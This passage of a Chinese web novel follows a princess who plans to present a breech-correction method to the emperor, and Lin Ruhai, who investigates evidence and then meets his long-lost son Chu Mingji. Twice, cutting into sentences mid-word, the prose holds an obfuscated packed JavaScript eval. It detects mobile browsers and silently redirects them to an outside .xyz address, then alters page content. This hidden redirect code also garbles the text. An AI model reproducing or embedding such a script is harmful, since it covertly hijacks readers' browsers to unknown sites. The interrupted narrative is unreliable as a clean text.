而他，在清宁县是排得上号，但放到府城，就是沧海一粟了。 “明霁不是在信里分析过了吗，不是所有人都愿意在府学读书，有些贫家子，又考不上府学廪生，自然不会想着去府学读书。你老子我有银子，供得起你在府学读书，不求你考上廪生，只要你能进去府学，和明霁那样的人做同窗，他愿意指点你一两句，比你在县学和普通学子混要好得多。” 周夫子刚开始还苦口婆心，说到后来火气上涌。 “我告诉你，下午你就给老子县衙报名，瞻前顾后的，能有什么出息？” 周夫子一锤定音，周从宜本就在两可之间，也就听之任之了。 ＊ 出了元宵之后，郡主遣人送了帖子来给明瑶华，帖子上写明三日后请她和封氏去陆同知府上做客。 到了日子，封氏先来了明瑶华家里，再一同雇了车去往陆同知府。 平昌郡主一早就在等着了，几人落座，平昌郡主三两句就说了她的安排。 “等二月初二，封氏就来我家住一晚。二月初三跟着官船上京城，我的丫鬟朝雨也跟着一块去，可以照应你。到了京城，封氏先在王府住下，我给我母妃写了信，到时我母妃说什么，你跟着做就是了。”平昌郡主说话带着一股子不容置疑的劲儿，“你安心，只要你确定那是你的女儿，什么薛家贾家的，谁也不敢扣下人不给。” 封氏跪下磕头，“是，民妇多谢郡主，多谢秀才娘子。” 明瑶华不习惯别人下跪，起身扶她起来。 平昌郡主帮封氏是出于对明瑶华承诺，说清楚了就让下人带她去别处歇息，转而兴致勃勃地对明瑶华道：“你之前教我的什么胸膝卧位，是对所有胎位不正的孕妇都有效吗？” 虽然是问句，但带着几分笃定，不然当初明瑶华也不敢随意就告知自己。 明瑶华眼里闪过一抹诧异，严谨地道：“不敢说所有，胸膝卧位对于大多数怀胎七个月到九个月、且发现胎位不正的孕妇，大概有七八成的把握可以扭转胎位。但女子生产是一件极危险的事，胎位正了，并不意味着生产一定顺利。” 平昌郡主双眼发亮，“这就够了，能够帮助许多因胎位不正而难产丧命的产妇了。救人一命胜造七级浮屠，明娘子，你不知能救下多少人命呢！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15369363|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而她，也将因为呈上这个法子，而得到皇伯父皇伯母的看重。 “我意将这个法子呈到皇伯父面前，日后在全景朝推广开来，你可介意？自然，我会写上你的功劳，请皇伯父赏赐你。” 这种助人的事明瑶华如何会介意？非但不介意，她还想到了另一物——产钳。 在前世她看电视剧里有穿越女回到古代发明产钳，最终成为一代妇产科创始人的剧情。 当时许多观众都在说穿越女不是医学出身，就敢制造产钳并且用来接生，是对孕妇的不负责任，会害死人。 明瑶华当时还在网上和人辩论。 初代产钳被发明出来的时候，也并非不锈钢材质的，也确确实实救了许多难产孕妇的命。 不能用古代使用产钳的死亡率和现代医学下产钳使用的死亡率作比较，而应该把古代生产过程乏力产妇使用产钳助产和不使用产钳助产两种情况下的死亡率作比较。 说白了，需要用到产钳本身就是难产状态了，只能尽人事听天命。 明瑶华笑道：“郡主是想在皇上跟前立个功劳？” “当然。我是女孩儿，比不得男子可以建功立业。靠着父母长辈的宠爱，才有锦衣玉食的好日子。父母也就罢了，但伯父到底只是伯父，伯父有自己的亲女亲子。我若只索取，不回报，宠爱长久不了。”屋内都是心腹，平昌郡主也不介意说真心话，她笑着举起白皙如玉的手，手腕和手指上都带着镯子戒指，“我要维持在皇伯父心中的地位，就需要时不时做出有用的事、做有用的人。” 她放下手，声音低落下去，继续道：“除了私心，也有一份对于女子的同情。我经历过生产，深知女子生产不易，能帮一把是一把吧。” 既可以帮助女子，又可以沾平昌郡主的光，在皇上面前给自家留个印象分，且女子生产的事也绝对和朝廷争斗扯不上关系，从各方面看都可行。 明瑶华在脑海里思索利弊之后，道：“郡主心善，我还知道一物可助女子渡过生产的鬼门关。只是需要耗费银子，需要找稳婆一起，经过试验之后，确认稳妥可行之后，才能向上呈报。” 郡主不曾想还有惊喜，急急问：“是何物？” 明瑶华微笑道：“请郡主摆上纸笔，我画出来细细为您讲解。” …… 二月初一，楚明霁在府学考廪生试。 二月初二，周从宜在府学考入学试，还碰到一个意料之外的人。 二月初三，一艘大船离开扬州码头北上。 二月初四，在林如海下值回家后，林管家带着人证物证进入林如海的书房。 22.调查结果、父子初见 林管家在元宵之后就腾出手来调查，经过多方对质，确认了楚明霁就是林如海当年身边的月姨娘生的儿子，而依据月份推断，月姨娘在离府之时，腹中的胎儿已经有两个多月了，正好和当年贾夫人没保住的第一胎是差不多的月份。 几个证人在门外被仆人看守，林管家独自进了书房，扑通一声跪下，中气十足、喜气洋洋道：“老爷，恭喜老爷，当年月姨娘出府之时，已然怀了两个月身孕。月姨娘生了一个哥儿，如今已然长大成人，在去年的院试高中第三名！” 哥儿？ 院试？ 林如海被这话震住，执笔的手一歪，饱蘸墨水的笔尖划过左手指尖，手指缝里都是黑墨，他默了好一会儿才丢开笔，推开椅子站起来，紫檀木和砖石地板摩擦发出的刺耳声彷如未闻。 林如海双手撑住桌面，身体前倾，混迹官场多年喜怒不形于色的脸上满是震惊和期待，接连发问：“什么哥儿？什么院试？你哪儿来的消息？到底是怎么一回事？” 林管家亦是兴奋不已，强忍下想要在院子里大喊几声的冲动，一五一十地将前因后果说出来。 “十二月初六那日，我去陆同知府上送满月礼，离开时见到一英俊文雅的少年，容貌和老爷您年轻时十分相似，腰间挂着当年老夫人命我去请陆先生雕琢的麒麟玉佩。我和陆同知府上管家打听，这少年名唤楚明霁，乃是院试的第三名。” “当年请人打造的两枚玉佩和两对镯子，一份给了月姨娘，一份给了宋姨娘。宋姨娘的玉佩还在府里，我便打听了这个少年的父母家乡，就在扬州府下的清宁县秀水村，他的母亲正是月姨娘，养父姓楚，生母养父皆于四年前意外离世了。” “再一打听，月姨娘再嫁时便怀着身孕，自称怀的是大户人家管事的遗腹子，秀水村无人不知。” 说到这时，林管家悄悄抬头看了林如海一眼，没看出具体情绪，又低下头从怀里掏出一个金片放在书案上，继续说他的调查细节：“当年接月姨娘出府的是月姨娘的表叔田大牛，此人当年夫人身边的仆妇可以作证。田大牛家里还找出来一个金片，上面刻的花纹是九尾狐纹样的。好叫老爷知道，时下世人认为狐狸狐媚妖邪，少有用狐狸纹样的。只有老夫人当年，说狐狸是祥瑞和子孙繁盛的象征，将姨娘们的定例首饰都雕刻上九尾狐纹。” “另有当年给月姨娘接生的产婆可作证，月姨娘自出现在秀水村未满七个月就产下一个足月的婴儿，月姨娘的生产时间和出府时间对应得上，可见在出府前就已经有了身子了。” “这些证人都在外面侯着。” “此外，我还查到一件事，月姨娘再嫁的楚老四是死了婆娘的，楚老四和原来的婆娘育有一子叫楚雷生。月姨娘在生下小少爷后和楚老四又怀了一胎，但是没能生下来。之后月姨娘就给小少爷换了小名改叫林生，只是进学之后夫子就重新为他取名为明霁。” “小少爷已经娶妻，少奶奶正是少爷夫子的女儿，且少奶奶和平昌郡主很有些来往。” 人证物证都对得上，再加上楚明霁和林如海相似的容貌，已经足够证明楚明霁就是林如海之子。 一字字一句句组成的话语如同滚滚翻涌的惊涛骇浪直扑向林如海，他神色变幻不定，心跳声如同鼓点，不正常地怦怦跳动。 他竟然在外还有一个孩子，还是已经考取秀才的儿子！ 哈哈哈，好！好！ 他的玉儿往后无忧矣！ 林如海慢慢坐下，脑中闪过种种盘算，好一阵才平静下来。 他突然开口：“月姨娘既然身怀有孕，为何还要请求离府？两个月了，她难道能不知道自己怀孕了？” 就算当时不知道，过后两个月三个月还能不知道？ 林家人丁单薄，不管是男孩还是女孩，不管是嫡出还是庶出，都一样珍贵，月姨娘要是离府之后发现怀孕请求回来也是可以的。 月姨娘在林家将近二十年，不可能不知道这一点，她为何要怀着孩子离开林家？ “这……老爷恕罪，我没查到月姨娘离府的原因。”林管家哪里知道月姨娘的想法，且月姨娘又死了，不然还能找到人问上一问。 他倒是有个猜测，月姨娘是在夫人被大夫诊出喜信后才说家人要来给她赎身，自请出府的，八成是担心被去母留子。 夫人是不会做这种事，但是夫人身边的人可不一定，一个个的都傲着呢。 虽然过去多年，林管家还记得夫人身边的人，一个个眼睛好像长在天上一样，嫌弃府里的东西不精贵，隔三差五的去厨房点菜，还净点一些繁琐抛费又不新鲜的菜式。 连主子都没那些丫鬟讲究。 林如海掐着眉心，如今首要的是确定楚明霁是他的孩子，“你去叫田大牛和当时见过田大牛的仆妇进来。”他要再询问一番。 当年见过田大牛的仆妇是贾敏的两个陪嫁丫鬟、现今在贾敏的陪嫁庄子当管事的仙藻和瑞叶。十八载岁月过去，昔日年轻娇美的仙藻和瑞叶已经被称为赖妈妈和乔妈妈了。 田大牛驼着背，和半弯着腰的赖、乔二人走进来，低着头，跪在地上。 林如海威严的声音响起，“田大牛，你是何年何月来林家为巧月赎身的，当时离府前都见了谁，说了什么话？” 田大牛一辈子没见过林如海这个级别的贵人，他见过的最厉害的人物就是县令，还是远远的在人群里看的。 林管家已经交代过他，老爷问什么他就答什么，其余一个字也不要多说。 他也不敢抬头，抖着嗓子回道：“小人，小人不记得到底是哪年哪天，大概，大概就是，芒种前后，我是种了家里的秧苗才有空来接巧月的。当时，我就见了林管家和身边的两个妈妈，林管家是在垂花门见到的，两个妈妈送了我和巧月到后门。其余的，其余的，其余的人我想不起来的。” 他一个乡下种地的，进到官员家里，哪里敢乱看？ 这和林如海记忆对得上，他接着问两个仆妇：“你们两个仔细想想，见过这个人吗？” 赖妈妈和乔妈妈对视一眼，她们经过林管家先前的问话，隐约猜出点什么。 月姨娘真的偷偷生下一个林家的孩子？ 呵，凭空出来一个姨娘的孩子，谁知道是真的假的，别因此让外人占据了林家的家财。 她们有意搅浑水，想说没见过这人。 可林如海是什么人，在事务最为繁杂的盐政一职上还能稳稳当当地连任下去，一双利眼一看就知道二人不老实。 林如海周身的气势一变，冷声道：“你们可要想好了再说，不会说实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15379156|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的舌头，也没待在嘴里的必要了。” 赖妈妈和乔妈妈被吓得两股战战，小心思当即被压下去，磕磕巴巴地道：“见、见过，奴婢见过此人。当时夫人还赏了他二十两银子，赏了月姨娘五十两银子，说让他们或买两亩地，或做点小生意。” “你们三个出去，叫稳婆进来。” 秀水村的稳婆进屋，跪在地上。 “你为巧月接生，是在哪一天？如何确定生下的是足月的婴儿？可还有其他人可以证明你说的话？” 稳婆已经快六十了，经历的事情多，且心里不虚，又得了林管家承诺的十两银子，因而大大方方回道：“巧月是在元宵前一晚发动的，三更半夜的冷得手都是僵的，等到元宵那天中午才生下来。我接生过那么多孩子，足月不足月的我一看就知道，不过我可没法子证明楚哥儿是足月的孩子，这都长这么大了，多少年过去了。老爷要是非要问，那您可以请个好大夫给楚哥儿把脉，我听说厉害的大夫可以诊脉出一个人是早产儿还是足月儿。” 林如海挥了挥手，林管家心领神会，带这些证人出去。 良久，林管家回到书房，就看到林如海在书房里走来走去，脸上是全然的狂喜和焦躁，下令立刻就要备车去往金鱼巷。 林管家小心劝道：“天色已晚，还要预备各色礼品，等明天再去吧。小少爷的过往履历我已经整理成文，您先看看，明日见面才说得上话。父子初次相见，不可马虎！” 林如海颔首，点灯细细翻了一整晚的文卷。 ＊ 花椒娘在厨房里忙活，冬天她基本都窝在厨房，原因之一是厨娘的活计所在，再一个就是厨房暖和，有吃有喝。 听到陌生的扣门声——如果是卢氏等邻居上门，直接吆喝一声，不会敲门，如果门虚掩着，更是直接推门而入，进了院子再喊人——她想去开门，转念想到上次来了自称是卓家的一伙人，闹了一场不愉快。 她犹豫了下，转身去正房请示主子们的意见。 明瑶华用帕子捂住口鼻挡灰尘 ，从书架里走出来，惊讶道：“又是谁来了？” 楚明霁再是考了个院试第三名，也还只是秀才，不至于接连有富商来提前投资他吧。还是在明知道楚明霁拒绝投资的前提下。 “奴婢不知，太太，要去开门吗？”花椒娘问。 楚明霁还在翻找东西，他过两天就要去府学住了。 明瑶华道：“开啊，这是咱们自己家，难道还要畏惧旁人吗？” 花椒娘得了指示，小跑着去开门。 明瑶华站在院子里，等来的就是一个管家模样的人，在她面前跪下，高呼：“少爷，少奶奶！” 转头，原来楚明霁不知什么时候出现在她身后，脸上还带着一抹灰尘。 两人面面相觑，神色是一模一样的疑惑不解？ 这是谁？ 怎么乱喊人？ 紧接着影壁后鱼贯而入一伙人，为首者入目便觉身份不凡，他身材高大，斯文儒雅，一把美髯更添魅力，穿着暗红如意云纹织锦缎袍，腰间的织金腰带上竟然绣着孔雀纹！ 明瑶华呼吸一滞，楚明霁也看出来了，夫妻二人双双愣在原地。 林如海轻咳一声，看着楚明霁的脸，道：“可否进屋里说话？”